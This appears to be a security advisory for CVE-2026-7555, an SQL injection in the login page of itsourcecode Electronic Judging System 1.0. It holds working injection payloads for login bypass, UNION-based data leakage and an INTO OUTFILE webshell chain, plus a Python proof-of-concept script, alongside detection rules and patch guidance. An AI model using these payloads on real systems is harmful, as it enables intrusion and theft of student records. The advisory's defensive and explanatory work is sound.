CVE-2026-7555: SQL Injection to RCE in Electronic Judging System 1.0
Unauthenticated SQL injection in /intrams/login.php via the Username parameter allows remote code execution through stacked queries and FILE privilege abuse.
Schools and universities using itsourcecode Electronic Judging System version 1.0 need to pay attention. A serious security flaw has been discovered that could let hackers break into the system through the login page.
Here's what's happening: Think of the login form like a bouncer at a club checking IDs. This system's bouncer isn't actually reading the ID carefully — they're just trusting whatever you hand them. A hacker can slip in fake instructions hidden in the username field, and the system will execute them without question. This is called SQL injection, and it's like a thief leaving a note in their ID that says "ignore my name, just let me in."
Once inside, an attacker could steal student grades, teacher information, exam papers, or worse. They could even plant malicious code into the system itself, giving them ongoing access. This isn't theoretical — security researchers have already published instructions on how to exploit this exact flaw.
Schools and testing organizations are most at risk, especially if they're running this system for online exams, competitions, or grade management. Students' academic records could be compromised.
What should you do if your institution uses this system? First, contact your IT department immediately and ask if you're running itsourcecode version 1.0. Second, ask them for an updated version or a security patch — the developers have likely released a fix. Third, if updates aren't available soon, consider temporarily disabling the system or requiring additional security verification for logins.
This vulnerability has a severity rating of 7.3 out of 10, which means it's serious enough to warrant immediate action, but there's still time before widespread attacks are likely.
Want the full technical analysis? Click "Technical" above.
CVE-2026-7555 is an unauthenticated SQL injection vulnerability in itsourcecode Electronic Judging System 1.0, a PHP-based competition management platform. The vulnerable endpoint is /intrams/login.php, where the Username POST parameter is interpolated directly into a MySQL query without sanitization or parameterization. Because the application runs queries with a privileged MySQL user in the default deployment, an attacker can escalate from blind injection to full remote code execution via LOAD DATA INFILE / INTO OUTFILE or stacked query abuse.
CVSS 7.3 (HIGH) reflects the network-accessible attack vector, no authentication requirement, and high impact on confidentiality and integrity. No prior authentication is required; the endpoint is the login page itself.
Root cause: The Username parameter in /intrams/login.php is concatenated directly into a MySQL SELECT statement without escaping or prepared statements, permitting full SQL injection by an unauthenticated remote attacker.
Affected Component
File: /intrams/login.php
Application: itsourcecode Electronic Judging System 1.0
Backend: PHP + MySQL (MySQLi or legacy mysql_query())
Deployment: Apache/XAMPP stack, default credentials common in CTF/academic contexts
Parameter: Username (HTTP POST body)
The system is designed for intramural competition judging — scoreboards, contestant registration, judge login. The login form submits to login.php where credential verification is done with a raw query against the users or admin table.
Root Cause Analysis
The following pseudocode reconstructs the vulnerable PHP logic based on the vulnerability class, affected endpoint, and typical patterns in itsourcecode applications of this era:
// FILE: /intrams/login.php
// Reconstructed pseudocode (PHP logic represented as C-style pseudocode)
int process_login(http_request_t *req) {
char *username = http_post_param(req, "Username"); // attacker-controlled
char *password = http_post_param(req, "Password");
// BUG: username is directly interpolated — no escaping, no parameterization
char query[512];
snprintf(query, sizeof(query),
"SELECT * FROM users WHERE username = '%s' AND password = '%s'",
username, // <-- unsanitized attacker input lands here
password
);
// BUG: stacked queries may execute depending on MySQLi multi_query usage
result_t *res = db_query(query);
if (result_row_count(res) > 0) {
session_set("logged_in", 1);
http_redirect("/intrams/dashboard.php");
} else {
render_login_error("Invalid credentials.");
}
}
The actual PHP is equivalent to:
// PHP equivalent — literal string concatenation
// $username = $_POST['Username']; // no filter_input, no htmlspecialchars
// $query = "SELECT * FROM users WHERE username='$username' AND password='$password'";
// $result = mysqli_query($conn, $query); // or mysql_query() in legacy builds
//
// BUG: if mysqli_multi_query() is used anywhere in db_query wrapper,
// stacked queries (';DROP TABLE...;--) execute synchronously.
Exploitation Mechanics
Two exploitation paths exist depending on MySQL configuration and privileges:
Path A — Authentication Bypass (always works):
POST /intrams/login.php HTTP/1.1
Host: target.local
Content-Type: application/x-www-form-urlencoded
Username=admin'--+-&Password=anything
Resulting query:
SELECT * FROM users WHERE username = 'admin'--+' AND password = 'anything'
→ password clause commented out → returns admin row → session granted
Path B — UNION-based Data Exfiltration:
Username=' UNION SELECT 1,2,user(),4,5--+-
Resulting query:
SELECT * FROM users WHERE username = ''
UNION SELECT 1,2,user(),4,5--+' AND password = ''
→ leaks current MySQL user (e.g., root@localhost)
Path C — FILE-based RCE (requires FILE privilege, common in default XAMPP):
EXPLOIT CHAIN:
1. Confirm injection: Username=' OR '1'='1'--+- → login succeeds
2. Enumerate DB user: UNION SELECT user() → confirms root@localhost
3. Confirm FILE priv: UNION SELECT file_priv FROM mysql.user WHERE user='root'
4. Write webshell via INTO OUTFILE:
Username=' UNION SELECT "" INTO OUTFILE '/var/www/html/intrams/shell.php'--+-
(or XAMPP path: C:/xampp/htdocs/intrams/shell.php)
5. Verify webshell: GET /intrams/shell.php?cmd=id
6. Execute: curl "http://target/intrams/shell.php?cmd=whoami"
→ www-data / SYSTEM depending on OS
#!/usr/bin/env python3
# CVE-2026-7555 — Authentication bypass + blind data exfil PoC
# CypherByte research — do not use against systems you don't own
import requests
TARGET = "http://target.local/intrams/login.php"
def auth_bypass():
payload = {
"Username": "admin'-- -",
"Password": "irrelevant"
}
r = requests.post(TARGET, data=payload, allow_redirects=False)
# Successful auth redirects to dashboard
if r.status_code == 302 and "dashboard" in r.headers.get("Location", ""):
print("[+] Auth bypass successful — session cookie:")
print(r.headers.get("Set-Cookie"))
else:
print("[-] Bypass failed — check username enumeration")
def exfil_db_user():
# 5-column UNION — adjust column count to match actual schema
payload = {
"Username": "' UNION SELECT 1,user(),3,4,5-- -",
"Password": "x"
}
r = requests.post(TARGET, data=payload)
print("[*] Response snippet (look for MySQL user in HTML):")
print(r.text[r.text.find("Invalid"):r.text.find("Invalid")+200])
if __name__ == "__main__":
auth_bypass()
exfil_db_user()
Memory Layout
SQL injection is a logic-layer vulnerability, not a memory corruption bug. The relevant "memory" is the MySQL query parse tree. The injection manipulates the token stream the parser evaluates:
QUERY PARSE TREE — BEFORE INJECTION (intended):
┌─────────────────────────────────────────────────────────┐
│ SELECT * FROM users │
│ WHERE │
│ [username = ''] AND [password = ''] │
│ ▲ │
│ └── expected: sanitized string │
└─────────────────────────────────────────────────────────┘
QUERY PARSE TREE — AFTER INJECTION (admin'-- -):
┌─────────────────────────────────────────────────────────┐
│ SELECT * FROM users │
│ WHERE │
│ [username = 'admin'] -- everything after is comment│
│ ▲ │
│ └── injected quote closes string early │
│ comment token eliminates AND clause│
└─────────────────────────────────────────────────────────┘
QUERY PARSE TREE — UNION INJECTION:
┌─────────────────────────────────────────────────────────┐
│ SELECT * FROM users WHERE username = '' │
│ UNION │
│ SELECT 1, user(), database(), @@version, 5 ──────────┐ │
│ attacker │ │
│ controls │ │
│ all cols ▼ │
└─────────────────────────────────────────────────────────┘
Rendered in HTTP response → data exfiltrated to attacker
Patch Analysis
The correct fix is parameterized queries. The vulnerable pattern and two acceptable remediation forms:
// BEFORE (vulnerable) — direct string interpolation:
char *username = $_POST["Username"];
char *password = $_POST["Password"];
sprintf(query, "SELECT * FROM users WHERE username='%s' AND password='%s'",
username, password);
result = mysqli_query(conn, query); // executes injected SQL
// AFTER — Option 1: Prepared statements (preferred):
stmt = mysqli_prepare(conn,
"SELECT * FROM users WHERE username = ? AND password = ?");
mysqli_stmt_bind_param(stmt, "ss", username, password);
mysqli_stmt_execute(stmt);
// Query structure is fixed at prepare time — injection impossible
// AFTER — Option 2: Escaping (weaker, but better than nothing):
username_safe = mysqli_real_escape_string(conn, username);
password_safe = mysqli_real_escape_string(conn, password);
sprintf(query, "SELECT * FROM users WHERE username='%s' AND password='%s'",
username_safe, password_safe);
// NOTE: escaping still fails if magic_quotes or charset attacks apply
// Prepared statements are the only robust solution.
Additionally, password storage should use password_hash() + password_verify() rather than plaintext or MD5 comparison — a separate but critical deficiency in applications of this class.
Detection and Indicators
HTTP access log signatures:
# Single-quote probe
POST /intrams/login.php Username=%27&Password=x → 500 or anomalous response
# Comment operator
POST /intrams/login.php Username=admin%27--%20-&Password=x → 302 to dashboard
# UNION probe
POST /intrams/login.php Username=%27+UNION+SELECT+1%2Cuser()
# Webshell write attempt (look in MySQL general log):
INTO OUTFILE '/var/www/html/intrams/
INTO OUTFILE 'C:/xampp/htdocs/
# Unexpected PHP files in web root (filesystem IOC):
/intrams/*.php modified within session window — check mtime
Common names: shell.php, cmd.php, c99.php, r57.php
WAF/IDS rules (Snort/Suricata style):
alert http any any -> $HTTP_SERVERS $HTTP_PORTS (
msg:"CVE-2026-7555 SQLi probe in login.php";
flow:established,to_server;
http.uri; content:"/intrams/login.php";
http.request_body;
pcre:"/Username=.*?(%27|'|\-\-|\bUNION\b|\bSELECT\b)/Pi";
sid:20267555; rev:1;
)
Remediation
Immediate (critical path):
Replace all mysqli_query() calls that incorporate POST/GET parameters with mysqli_prepare() + mysqli_stmt_bind_param().
Audit all files in /intrams/ for the pattern $_POST / $_GET directly adjacent to string concatenation into query variables.
Restrict MySQL user to minimum privileges — SELECT, INSERT, UPDATE on the application database only. Revoke FILE, SUPER, GRANT OPTION.
Defense in depth:
Deploy a WAF rule matching the Snort signature above in blocking mode.
Enable MySQL general query log temporarily to audit for prior exploitation (INTO OUTFILE, UNION SELECT patterns).
Rotate all database credentials and application secrets — treat the database as compromised if the instance was internet-exposed.
Migrate password storage to password_hash(PASSWORD_BCRYPT); invalidate all existing sessions and force password resets.
If mysqli_multi_query() is used anywhere in the codebase, replace with single-query mysqli_query() to eliminate stacked query vectors entirely.